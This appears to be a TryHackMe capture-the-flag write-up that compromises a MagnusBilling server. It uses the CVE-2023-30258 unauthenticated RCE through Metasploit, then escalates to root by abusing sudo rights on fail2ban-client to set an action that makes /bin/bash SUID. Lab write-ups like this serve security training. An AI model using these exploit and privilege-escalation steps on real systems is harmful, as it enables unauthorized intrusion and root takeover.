Billing Tryhackme - Easy
This challenge demonstrates a common pivot from an unauthenticated web exploit to a root-level system misconfiguration.
Reconnaissance
Target IP: 10.66.148.2
We begin by establishing the attack surface. Standard TCP port scanning to identify running services and versions.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial baseline assumptions:
- HTTP (80) is the primary target for directory brute-forcing and web application testing.
- SSH (22) is standard; reserved for lateral movement or post-exploitation.
- Asterisk (5038) is an interesting vector, potentially indicating a VoIP infrastructure target.
- MySQL (3306) unauthorized access implies we need credentials first.
Enumeration
Diving into the HTTP service, I immediately kicked off directory enumeration while manually inspecting the web application in my browser and proxying traffic through Burp Suite.
GET /mbilling/index.php/authentication/check?_dc=1771692693480 HTTP/1.1 GET /mbilling/index.php/trunkSipCodes/read?_dc=1771692693595&page=1&start=0&limit=25&group=%7B%22property%22%3A%22ip%22%2C%22direction%22%3A%22ASC%22%7D HTTP/1.1
The web root presents a MagnusBilling login portal. Reviewing the page source revealed an obfuscated script, hinting at client-side security measures or hidden endpoints.
Rabbit Hole
Intercepting the /mbilling/index.php/authentication/check request yielded a JSON response with multiple boolean flags (e.g., "success":false, "isAdmin":false). I attempted response manipulation by flipping these values to true to bypass authentication. The application backend properly validates sessions, rendering this client-side manipulation useless.
While Asterisk Call Manager 2.10.6 initially looked like a juicy target, vulnerability research didn't yield immediate unauthenticated remote execution paths. I pivoted my focus back to the primary web application: MagnusBilling.
Exploitation
Researching the specific web application stack revealed critical vulnerabilities in MagnusBilling.
- Magnus Billing RCE (CVE-2023-30258)
- Rapid7:
https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/ - Exploit-DB:
https://www.exploit-db.com/exploits/52170
The vulnerability lies in an unauthenticated endpoint at /lib/icepay/icepay.php. Since the vulnerability does not reflect command output back to the HTTP response, we are dealing with Blind RCE.
Efficiency
When dealing with potential blind RCE where standard commands (id, whoami) won't show output, injecting a time delay (sleep 5) via a GET request is the fastest way to confirm code execution before crafting a reverse shell payload.
I validated the execution by passing a sleep command:
With execution confirmed, I opted for Metasploit for efficiency to catch a stable Meterpreter session.
msfconsole -q
msf6 > search magnus billing
# 0 exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 2023-06-26 excellent Yes
msf6 > use 0
msf6 exploit(...) > set RHOSTS 10.66.148.2
msf6 exploit(...) > run
Privilege Escalation
Upgrading to a proper TTY, the first standard local enumeration check is evaluating our current user's privileges.
Result: Sudo access on /usr/bin/fail2ban.
Understanding Fail2ban:
Fail2ban is an intrusion prevention software framework that protects computer servers from brute-force attacks. It operates by monitoring log files (like /var/log/auth.log) for malicious patterns and dynamically updates firewall rules (iptables) to ban the offending IP addresses for a specified duration. Crucially, fail2ban organizes these rules into "jails" (e.g., an sshd jail for SSH brute-forcing) and executes defined "actions" when a threshold is met.
Because we have sudo execution rights over the fail2ban-client, we can dynamically modify the configuration of an active jail to execute an arbitrary command as root whenever a ban is triggered.
First, check the active jails:
sudo /usr/bin/fail2ban-client status
# Status
# |- Number of jail: 8
# `- Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
I targeted the sshd jail. The methodology is to add a custom action, define that action to modify the SUID permissions of /bin/bash, and then manually trigger a ban to execute our payload.
# 1. Add a new action named 'pwnaction' to the sshd jail
sudo /usr/bin/fail2ban-client set sshd addaction pwnaction
# 2. Define what 'pwnaction' does when a ban occurs (Set SUID on bash)
sudo /usr/bin/fail2ban-client set sshd action pwnaction actionban 'chmod 4777 /bin/bash'
Important
The payload chmod 4777 /bin/bash is now staged. To execute it as root, we must force the fail2ban service to evaluate the action block by manually banning a dummy IP address.
Verify the exploit worked by checking the permissions of the bash binary:
The s in the permissions string confirms the SUID bit is set. We can now spawn a root shell.
Post-Mortem & Methodology Notes
- Information Density: Always map out your initial assumptions immediately after the recon phase. It directs your enumeration effectively.
- Tool Leverage: Don't shy away from Metasploit when a known CVE is present in a CTF context (unless prepping for OSCP). Efficiency > manual exploitation when the underlying vulnerability is already understood.
- Service Abuse over Kernel Exploits: Privilege escalation is often found in misconfigured application permissions (like sudo rights on
fail2ban) rather than complex kernel vulnerabilities. Understand how a binary works before trying to exploit it.